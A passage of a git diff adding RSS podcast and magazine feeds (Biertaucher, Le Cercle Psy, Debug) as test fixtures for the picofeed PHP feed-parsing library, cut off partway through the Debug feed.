+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher007.mp3</guid>
+ <description>Die 7. Biertaucher-Folge (etwas verspätet) berichtet vom Vortrag von "RMS" Stallman in Wien, befasst sich mit dem verändern von Router-Software und bespricht u.a. 4x Spiele und den Film "Moon"</description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher007.mp3" length="35162112" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 006</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:006</link>
+ <pubDate>Wed, 29 Jun 2011 19:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher006.mp3</guid>
+ <description>Die sechste Biertaucher-Folge dreht ums Thema "Krimskrams" bzw. "Spiele" und wird passenderweise durch nervige Störgeräusche von lärmenden spielenden Kindern untermalt.</description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher006.mp3" length="40392502" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 005</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:005</link>
+ <pubDate>Tue, 21 Jun 2011 19:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher005.mp3</guid>
+ <description>Die fünfte Biertaucher-Folge dreht sich um die Themen Hardware zum Spielen und um Computerspiele. U.a.: Horst vermisst die nervigen Störgeräusche, Gregor liest viel zu spät Installationsanleitungen und beide sprechen eine Einladung für nächsten Dienstag aus zum Mitmachen beim Biertaucher-Podcast.</description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher005.mp3" length="58398720" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 004</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:004</link>
+ <pubDate>Tue, 14 Jun 2011 19:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher004.mp3</guid>
+ <description>Die vierte Biertaucher-Folge handelt von Hardware, Spielen und -wie immer- dem nervigen Störgeräusch der Woche.</description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher004.mp3" length="30340608" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 003</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:003</link>
+ <pubDate>Tue, 07 Jun 2011 19:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher003.mp3</guid>
+ <description>Die dritte Biertaucher-Folge dreht sich um die Themen freie Software und Geld: speziell Flattr und Bitcoin. Ferner: Linuxwandertag, Steve Jobs, seltsame Geräusche in einem Uni-Stiegenhaus.</description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher003.mp3" length="42819584" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 002</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:002</link>
+ <pubDate>Tue, 31 May 2011 21:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher002.mp3</guid>
+ <description>In der zweiten Biertaucher-Folge plaudern Gregor und Horst über freie Software, steicheln pelzige Tiere von Alpha Centauri, werden von nervig quasselenden Studenten gestört, ätzen über Microsoft-Kunden, wundern sich über Gnome-Shell, Unity und einiges Mehr. Themen unter anderem: : freie Software, Unity, Gnome-Shell, Prägung, Windows-Käufer, Re:Publica, Mathematik, GameJam, Thomas Perl</description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher002.mp3" length="34020872" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 001</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2011:001</link>
+ <pubDate>Tue, 24 May 2011 21:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher001.mp3</guid>
+ <description>In der ersten Biertaucher-Folge plaudern Gregor und Horst über freie Software und spekulieren über DEN Hörer. Themen: Richard Stallman, Free as Fredom 2.0, freie Software, Bier, schöne Frauen, github</description>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher001.mp3" length="29430828" type="audio/mpeg"/>
+ </item>
+ </channel>
+</rss>
diff --git a/vendor/fguillot/picofeed/tests/fixtures/cercle.psy.xml b/vendor/fguillot/picofeed/tests/fixtures/cercle.psy.xml
new file mode 100644
index 000000000..ddc8f41b8
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/cercle.psy.xml
@@ -0,0 +1,58 @@
+<rss version="2.0" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
+<channel>
+ <title>Le cercle psy, le magazine de toutes les psychologies</title>
+ <link>http://le-cercle-psy.scienceshumaines.com/rss</link>
+ <description>Flux RSS du magazine de psychologie Le Cercle Psy, site de toutes les psychologies.</description>
+ <copyright>Le Cercle Psy</copyright>
+
+ <item>
+ <title>Stéphane Gumpper : Qu'est-ce que la psychologie des religions ?</title>
+ <link>http://le-cercle-psy.scienceshumaines.com/stephane-gumpper-qu-est-ce-que-la-psychologie-des-religions_sh_30765</link>
+ <pubDate>Thu, 23 May 2013 10:30:00 GMT</pubDate>
+ <description>D'où vient le sentiment religieux ? Où est la frontière entre mysticisme et folie ? Depuis plus d'un siècle, la psychologie des religions tente de répondre à ces questions. Panorama d'un champ de recherches aussi difficile que foisonnant avec Stéphane Gumpper, docteur en psychologie clinique et en psychopathologie, et directeur, avec Franklin Rausky, du Dictionnaire de psychologie et de psychopathologie des religions (Bayard, 2013).</description>
+ </item>
+
+ <item>
+ <title>Mentir aux recruteurs ? Facile !</title>
+ <link>http://le-cercle-psy.scienceshumaines.com/mentir-aux-recruteurs-facile_sh_30768</link>
+ <pubDate>Thu, 23 May 2013 10:30:00 GMT</pubDate>
+ <description>Lors d'un entretien d'embauche, les recruteurs expérimentés ne seraient pas plus doués que les novices pour repérer un candidat qui bluffe...</description>
+ </item>
+
+ <item>
+ <title>Papa, où tu es ?...</title>
+ <link>http://le-cercle-psy.scienceshumaines.com/papa-ou-tu-es_sh_30769</link>
+ <pubDate>Thu, 23 May 2013 10:30:00 GMT</pubDate>
+ <description>Plus d'un enfant sur dix ne revoit jamais son père après la séparation de ses parents. Ce qui continue à les affecter à l'âge adulte.</description>
+ </item>
+
+ <item>
+ <title>Journal d'une psychanalyste heureuse</title>
+ <link>http://le-cercle-psy.scienceshumaines.com/journal-d-une-psychanalyste-heureuse_sh_30766</link>
+ <pubDate>Thu, 23 May 2013 10:30:00 GMT</pubDate>
+ <description>Voilà un ouvrage qui peut se vanter de ne pas laisser indifférent dès son titre : Journal d'une psychanalyste heureuse. On en tient une ! Car outre la crise que connaît cette profession attaquée sur tous les fronts, l'idée de bonheur est généralement suspecte aux analystes. L'auteure assume aimer son métier, considérer comme un privilège d'aider autrui, et irradie d'une allégresse communicative quand ses interlocuteurs semblent se portent mieux. Ajoutez à cela des croquis rapides de certains aspects du métier, et vous obtenez un témoignage vivant et sans prétention d'une vocation assouvie.</description>
+ </item>
+
+ <item>
+ <title>De la psychose maniacodépressive au trouble bipolaire</title>
+ <link>http://le-cercle-psy.scienceshumaines.com/de-la-psychose-maniacodepressive-au-trouble-bipolaire_sh_29291</link>
+ <pubDate>Thu, 23 May 2013 10:30:00 GMT</pubDate>
+ <description>Le trouble bipolaire se veut une alternance d'états de dépression et d'exaltation, frappant, depuis trente ans, une frange de plus en plus massive de la population. Pourquoi cette bonne fortune auprès des psychiatres? Par Mikkel Borch-Jacobsen.</description>
+ </item>
+
+ <item>
+ <title>Dossier : Etre femme aujourd'hui</title>
+ <link>http://le-cercle-psy.scienceshumaines.com/dossier-web/76</link>
+ <pubDate>Thu, 23 May 2013 10:30:00 GMT</pubDate>
+ <description>Quels sont les modèles contemporains de la femme ? Peut-on parler d'identité féminine ? Où en sont les rapports hommes-femmes, que ce soit au travail, à la maison, dans la vie quotidienne ? La sexualité féminine s'est-elle vraiment libérée ? Quels sont les nouveaux combats à mener ? Les références théoriques à mobiliser quand on aborde ces questions ?</description>
+ </item>
+
+ <item>
+ <title>Exprimez-vous avec le Cercle Psy</title>
+ <link>http://le-cercle-psy.scienceshumaines.com/exprimez-vous-avec-le-cercle-psy_sh_28824</link>
+ <pubDate>Thu, 23 May 2013 10:30:00 GMT</pubDate>
+ <description>Vous avez un enfant autiste ? Ou un proche ? Vous êtes autiste vous-même ? Le Cercle Psy vous propose de raconter, en toute liberté, votre histoire. Comment le diagnostic a-t-il été posé ? En quoi consiste la prise en charge ? Quels rapports entretenez-vous avec les soignants ? Que pensez-vous des polémiques actuelles relatives à l'autisme ? Vous avez carte blanche.</description>
+ </item>
+ </channel>
+</rss>
+
diff --git a/vendor/fguillot/picofeed/tests/fixtures/debug_show.xml b/vendor/fguillot/picofeed/tests/fixtures/debug_show.xml
new file mode 100644
index 000000000..21bb82ffd
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/debug_show.xml
@@ -0,0 +1,1073 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2enclosuresfull.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
+ <channel>
+ <title>Debug</title>
+ <link>http://www.imore.com/debug/</link>
+ <description>Debug is a conversational interview show about developing software and services, primarily for iPhone, iPad, Mac, and gaming. Hosted by Guy English and Rene Ritchie, it's all the great talk you get at the bar after the conference, wrapped up in convenient podcast form. Pull up a chair, hit play, join us.</description>
+ <generator>Feeder 2.5.2(2.5.2); Mac OS X Version 10.9.3 (Build 13D65) http://reinventedsoftware.com/feeder/</generator>
+ <docs>http://blogs.law.harvard.edu/tech/rss</docs>
+ <language>en</language>
+ <copyright>Guy English, Rene Ritchie</copyright>
+ <managingEditor>rene@mobilenation.com (Rene Ritchie)</managingEditor>
+ <webMaster>rene@mobilenations.com (Rene Ritchie)</webMaster>
+ <pubDate>Tue, 27 May 2014 18:20:13 -0400</pubDate>
+ <lastBuildDate>Tue, 27 May 2014 18:20:13 -0400</lastBuildDate>
+ <image><link>http://www.imore.com/debug/</link><url>http://www.mobilenations.com/broadcasting/podcast_debug_144.jpg</url><title>Debug</title></image>
+
+ <itunes:author>Guy English, Rene Ritchie</itunes:author>
+ <itunes:subtitle>Debug</itunes:subtitle>
+ <itunes:summary>Debug is a conversational interview show about developing software and services, primarily for iPhone, iPad, Mac, and gaming. Hosted by Guy English and Rene Ritchie, it's all the great talk you get at the bar after the conference, wrapped up in convenient podcast form. Pull up a chair, hit play, join us.</itunes:summary>
+ <itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords>
+ <itunes:image href="http://www.mobilenations.com/broadcasting/podcast_debug_1200.jpg" />
+ <itunes:explicit>no</itunes:explicit>
+
+ <itunes:block>no</itunes:block>
+
+ <atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/debugshow" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="debugshow" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><media:copyright>Guy English, Rene Ritchie</media:copyright><media:thumbnail url="http://www.mobilenations.com/broadcasting/podcast_debug_1200.jpg" /><media:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</media:keywords><media:category scheme="http://www.itunes.com/dtds/podcast-1.0.dtd">Technology</media:category><media:category scheme="http://www.itunes.com/dtds/podcast-1.0.dtd">Technology/Software How-To</media:category><itunes:owner><itunes:email>rene@mobilenations.com</itunes:email><itunes:name>Guy English, Rene Ritchie</itunes:name></itunes:owner><itunes:category text="Technology" /><itunes:category text="Technology"><itunes:category text="Software How-To" /></itunes:category><item>
+ <title>Debug 37: Simmons, Wiskus, Gruber and Vesper Sync</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[<p>Brent Simmons, Dave Wiskus, and John Gruber join Guy and Rene to talk about Vesper 2.0, architecting sync, the decision making process, design choices, and why Vesper for Mac comes next.</p>
+
+<h2>Show notes</h2>
+
+<ul>
+<li><a href="http://vesperapp.co/blog/vesper-2-0-and-vesper-sync/">Vesper 2.0 and Vesper Sync</a></li>
+<li><a href="http://inessential.com/2014/05/24/vesper_sync_diary_follow-up">Vesper Sync Diary Follow-up</a></li>
+<li><a href="https://developer.apple.com/library/ios/documentation/userexperience/conceptual/MobileHIG/index.html">iOS 7 Human Interface Guideline</a></li>
+<li><a href="http://www.imore.com/debug-15-simmons-wiskus-gruber-and-vesper">Debug 15: Simmons, Wiskus, Gruber, and Vesper</a></li>
+</ul>
+
+<h2>Guests</h2>
+
+<ul>
+<li><a href="http://twitter.com/brentsimmons">Brent Simmons</a> of <a href="http://inessential.com">inessential</a></li>
+<li><a href="http://twitter.com/dwiskus">Dave Wiskus</a> of <a href="http://betterelevation.com">Better Elevation</a></li>
+<li><a href="http://twitter.com/gruber">John Gruber</a> of <a href="http://daringfireball.net">Daring Fireball</a></li>
+</ul>
+
+<h2>Hosts</h2>
+
+<ul>
+<li><a href="http://twitter.com/gte">Guy English</a> of <a href="http://kickingbear.com">Kicking Bear</a></li>
+<li><a href="http://twitter.com/reneritchie">Rene Ritchie</a> of <a href="http://www.mobilenations.com">Mobile Nations</a></li>
+</ul>
+
+<h2>Feedback</h2>
+
+<p>Question, comment, recommendation, or something you want us to follow up on for the next show?</p>
+
+<p>Email us at <a href="&#x6D;&#x61;&#105;&#x6C;&#116;&#x6F;:&#x64;&#101;&#x62;&#x75;&#x67;&#64;&#109;&#x6F;&#x62;&#x69;&#x6C;&#101;&#x6E;&#97;&#x74;&#105;&#111;&#x6E;&#x73;&#x2E;&#99;&#x6F;m">&#x64;&#101;&#x62;&#x75;&#x67;&#64;&#109;&#x6F;&#x62;&#x69;&#x6C;&#101;&#x6E;&#97;&#x74;&#105;&#111;&#x6E;&#x73;&#x2E;&#99;&#x6F;m</a> or yell at us on Twitter.</p>]]></description>
+ <pubDate>Tue, 27 May 2014 18:19:49 -0400</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug37.mp3" length="51470122" type="audio/mpeg" />
+ <guid isPermaLink="false">74B90295-595F-4459-A826-7A5738957281</guid>
+ <itunes:author>Guy English, Rene Ritchie, Brent Simmons, Dave Wiskus, John Gruber</itunes:author>
+ <itunes:subtitle>Brent Simmons, Dave Wiskus, and John Gruber join Guy and Rene to talk about Vesper 2.0, architecting sync, the decision making process, design choices, and why Vesper for Mac comes next.</itunes:subtitle>
+ <itunes:summary>Brent Simmons, Dave Wiskus, and John Gruber join Guy and Rene to talk about Vesper 2.0, architecting sync, the decision making process, design choices, and why Vesper for Mac comes next.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:44:44</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug37.mp3" fileSize="51470122" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 36: Rich Siegel on BBEdit</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[Rich Siegel of Bare Bones Software talks to Guy and Rene about the journey of BBEdit from the classic Mac OS to OS X, PowerPC to Intel, 32- to 64-bit, and the direct sales to the Mac App Store.]]></description>
+ <pubDate>Wed, 21 May 2014 03:37:01 -0400</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug36.mp3" length="59292597" type="audio/mpeg" />
+ <guid isPermaLink="false">38DC2FF1-4207-4C04-93F3-2DAFB0E559D9</guid>
+ <itunes:author>Guy English, Rene Ritchie, Rich Siegel</itunes:author>
+ <itunes:subtitle>Rich Siegel of Bare Bones Software talks to Guy and Rene about the journey of BBEdit from the classic Mac OS to OS X, PowerPC to Intel, 32- to 64-bit, and the direct sales to the Mac App Store. </itunes:subtitle>
+ <itunes:summary>Rich Siegel of Bare Bones Software talks to Guy and Rene about the journey of BBEdit from the classic Mac OS to OS X, PowerPC to Intel, 32- to 64-bit, and the direct sales to the Mac App Store. </itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>2:01:02</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug36.mp3" fileSize="59292597" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 35: Scotty on NSConference and RemObjects</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[Steve Scott (Scotty) talks to Guy and Rene about the early days of developer podcasts, NSConference, and his work with RemObjects.]]></description>
+ <pubDate>Wed, 07 May 2014 18:23:30 -0400</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug35.mp3" length="56380068" type="audio/mpeg" />
+ <guid isPermaLink="false">3FA03A63-BEA2-4199-A1E4-D2963845F3F6</guid>
+ <itunes:author>Guy English, Rene Ritchie, Scotty</itunes:author>
+ <itunes:subtitle>Steve Scott (Scotty) talks to Guy and Rene about the early days of developer podcasts, NSConference, and his work with RemObjects.</itunes:subtitle>
+ <itunes:summary>Steve Scott (Scotty) talks to Guy and Rene about the early days of developer podcasts, NSConference, and his work with RemObjects.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:54:58</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug35.mp3" fileSize="56380068" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 34: Sexism in tech</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[Serenity Caldwell of Macworld, Jessie Char of Pacific Helm, Georgia Dow of ZEN & TECH, and Brianna Wu of Giant Spacekat share their experiences with sexism in the tech industry, from coworkers to clients to conventions to culture and beyond.]]></description>
+ <pubDate>Wed, 23 Apr 2014 22:29:07 -0400</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug34.mp3" length="55036555" type="audio/mpeg" />
+ <guid isPermaLink="false">D032BF15-B907-4F3F-926F-D55E9C785DE3</guid>
+ <itunes:author>Serenity Caldwell, Jessie Char, Georgia Dow, Guy English, Rene Ritchie, Brianna Wu</itunes:author>
+ <itunes:subtitle>Serenity Caldwell of Macworld, Jessie Char of Pacific Helm, Georgia Dow of ZEN &amp; TECH, and Brianna Wu of Giant Spacekat share their experiences with sexism in the tech industry, from coworkers to clients to conventions to culture and beyond.</itunes:subtitle>
+ <itunes:summary>Serenity Caldwell of Macworld, Jessie Char of Pacific Helm, Georgia Dow of ZEN &amp; TECH, and Brianna Wu of Giant Spacekat share their experiences with sexism in the tech industry, from coworkers to clients to conventions to culture and beyond.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:52:10</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug34.mp3" fileSize="55036555" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 33: Ken Ferry on Auto Layout, Passbook, and Understudy</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[Ken Ferry talks to Guy and Rene about his time at Apple working on Cocoa, Auto Layout, and Passbook, and his new app, Understudy, which seeks to bring mentored learning into the iPad age.]]></description>
+ <pubDate>Wed, 09 Apr 2014 21:47:50 -0400</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug33.mp3" length="61551484" type="audio/mpeg" />
+ <guid isPermaLink="false">246411B5-8F49-4EEC-B91A-291B1FC8243E</guid>
+ <itunes:author>Guy English, Rene Ritchie, Ken Ferry</itunes:author>
+ <itunes:subtitle>Ken Ferry talks to Guy and Rene about his time at Apple working on Cocoa, Auto Layout, and Passbook, and his new app, Understudy, which seeks to bring mentored learning into the iPad age.</itunes:subtitle>
+ <itunes:summary>Ken Ferry talks to Guy and Rene about his time at Apple working on Cocoa, Auto Layout, and Passbook, and his new app, Understudy, which seeks to bring mentored learning into the iPad age.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>2:05:44</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug33.mp3" fileSize="61551484" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 32: John Siracusa on Copland 2014</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[John Siracusa of Hypercritical and the Accidental Tech Podcast shows up to fight with Guy over Copland 2014. That is, the idea that Apple needs to embrace elements of higher level languages and figure out what comes after Objective C.]]></description>
+ <pubDate>Tue, 01 Apr 2014 13:53:10 -0400</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug32.mp3" length="49719242" type="audio/mpeg" />
+ <guid isPermaLink="false">75ECD0D6-D19B-40B1-AD81-2A8B5DDE5ACA</guid>
+ <itunes:author>Guy English, Rene Ritchie, John Siracusa</itunes:author>
+ <itunes:subtitle>John Siracusa of Hypercritical and the Accidental Tech Podcast shows up to fight with Guy over Copland 2014. That is, the idea that Apple needs to embrace elements of higher level languages and figure out what comes after Objective C.</itunes:subtitle>
+ <itunes:summary>John Siracusa of Hypercritical and the Accidental Tech Podcast shows up to fight with Guy over Copland 2014. That is, the idea that Apple needs to embrace elements of higher level languages and figure out what comes after Objective C.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:41:05</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug32.mp3" fileSize="49719242" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 31: Miguel de Icaza on Mono</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[Miguel de Icaza of GNOME and Xamarin fame joins Guy and Rene to talk about Mono, the .NET compatible open source project that lets you build iOS and Android apps in C#, and the pros and cons of modern development platforms.]]></description>
+ <pubDate>Wed, 19 Mar 2014 10:30:44 -0400</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug31.mp3" length="28388860" type="audio/mpeg" />
+ <guid isPermaLink="false">2B9E0625-FC74-46D2-965A-592EB7386233</guid>
+ <itunes:author>Guy English, Rene Ritchie, Miguel de Icaza</itunes:author>
+ <itunes:subtitle>Miguel de Icaza of GNOME and Xamarin fame joins Guy and Rene to talk about Mono, the .NET compatible open source project that lets you build iOS and Android apps in C#, and the pros and cons of modern development platforms.</itunes:subtitle>
+ <itunes:summary>Miguel de Icaza of GNOME and Xamarin fame joins Guy and Rene to talk about Mono, the .NET compatible open source project that lets you build iOS and Android apps in C#, and the pros and cons of modern development platforms.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>59:08</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug31.mp3" fileSize="28388860" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 30: Casey Liss on C# and .Net</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[Casey Liss of the Accidental Tech Podcast (ATP) tries to sell Guy on the advantages of Microsoft’s C# programming language and the .NET frameworks.]]></description>
+ <pubDate>Tue, 04 Mar 2014 11:52:20 -0500</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug30.mp3" length="57402372" type="audio/mpeg" />
+ <guid isPermaLink="false">C39CF94A-8A31-4F34-AE9F-52D019FE8C5A</guid>
+ <itunes:author>Guy English, Rene Ritchie, Casey Liss</itunes:author>
+ <itunes:subtitle>Casey Liss of the Accidental Tech Podcast (ATP) tries to sell Guy on the advantages of Microsoft’s C# programming language and the .NET frameworks.</itunes:subtitle>
+ <itunes:summary>Casey Liss of the Accidental Tech Podcast (ATP) tries to sell Guy on the advantages of Microsoft’s C# programming language and the .NET frameworks.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:57:06</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug30.mp3" fileSize="57402372" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 29: Jeff McLeman on porting kernels</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[Guy and Rene talk to Jeff McLeman about his time at Digital, porting the NT kernel, and the current state of kernels in general.]]></description>
+ <pubDate>Thu, 20 Feb 2014 19:18:39 -0500</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug29.mp3" length="51897238" type="audio/mpeg" />
+ <guid isPermaLink="false">61546531-F2A9-4AB4-88C8-D17E981DDAFC</guid>
+ <itunes:author>Guy English, Rene Ritchie, Jeff McLeman</itunes:author>
+ <itunes:subtitle>Guy and Rene talk to Jeff McLeman about his time at Digital, porting the NT kernel, and the current state of kernels in general.</itunes:subtitle>
+ <itunes:summary>Guy and Rene talk to Jeff McLeman about his time at Digital, porting the NT kernel, and the current state of kernels in general.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:45:38</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug29.mp3" fileSize="51897238" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 28: Mike Ash on VoodooPad</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[Mike Ash of Plausible Labs joins Guy and Rene to talk about working at Rogue Amoeba, taking on VoodooPad, and speaking truth to bloggers.]]></description>
+ <pubDate>Thu, 06 Feb 2014 00:01:10 -0500</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug28.mp3" length="42493979" type="audio/mpeg" />
+ <guid isPermaLink="false">3F1B931C-343D-4946-BCDF-1C810872D290</guid>
+ <itunes:author>Guy English, Rene Ritchie, Mike Ash</itunes:author>
+ <itunes:subtitle>Mike Ash of Plausible Labs joins Guy and Rene to talk about working at Rogue Amoeba, taking on VoodooPad, and speaking truth to bloggers.</itunes:subtitle>
+ <itunes:summary>Mike Ash of Plausible Labs joins Guy and Rene to talk about working at Rogue Amoeba, taking on VoodooPad, and speaking truth to bloggers.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:26:02</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug28.mp3" fileSize="42493979" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 27: Joe Hewitt on Facebook and gardening</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[Joe Hewitt talks to Guy and Rene about 100% time at AOL, building Facebook for iPhone, the freedom of the web, and soil-based startups.]]></description>
+ <pubDate>Thu, 23 Jan 2014 21:29:10 -0500</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug27.mp3" length="34493011" type="audio/mpeg" />
+ <guid isPermaLink="false">E0ED3B99-950A-4E1D-92CE-4784BBE1CD06</guid>
+ <itunes:author>Guy English, Rene Ritchie, Joe Hewitt</itunes:author>
+ <itunes:subtitle>Joe Hewitt talks to Guy and Rene about 100% time at AOL, building Facebook for iPhone, the freedom of the web, and soil-based startups.</itunes:subtitle>
+ <itunes:summary>Joe Hewitt talks to Guy and Rene about 100% time at AOL, building Facebook for iPhone, the freedom of the web, and soil-based startups.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:09:22</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug27.mp3" fileSize="34493011" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 26: Evan Doll on Apple and Flipboard</title>
+ <link>http://www.imore.com/debug</link>
+ <description><![CDATA[Evan Doll talks to Guy and Rene about his time at Apple on pro apps and iPhone OS, conceiving, launching, and managing Flipboard, and the value of relentless audacity.]]></description>
+ <pubDate>Fri, 03 Jan 2014 17:20:25 -0500</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug26.mp3" length="44097757" type="audio/mpeg" />
+ <guid isPermaLink="false">5B2CA945-6C79-4578-87E7-8D0072F41643</guid>
+ <itunes:author>Guy English, Rene Ritchie, Evan Doll</itunes:author>
